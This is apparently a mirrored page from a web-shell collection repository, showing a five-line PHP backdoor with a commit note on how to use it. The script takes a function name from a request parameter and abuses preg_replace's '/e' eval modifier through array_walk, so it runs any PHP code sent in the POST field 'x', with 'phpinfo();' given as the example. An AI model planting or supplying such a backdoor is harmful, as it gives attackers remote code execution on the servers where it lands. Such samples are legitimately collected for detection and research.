mirror of
https://github.com/tennc/webshell
synced 2024-11-22 11:13:03 +00:00
44282fe412
shell.php?e=preg_replace ==> preg_replace('|.*|e',$_POST['x'],'') use: post x=phpinfo(); from: https://www.sqlsec.com/2020/07/shell.html
5 lines
104 B
PHP
5 lines
104 B
PHP
<?php
|
|
$e = $_REQUEST['e'];
|
|
$arr = array($_POST['x'] => '|.*|e',);
|
|
array_walk($arr, $e, '');
|
|
?>
|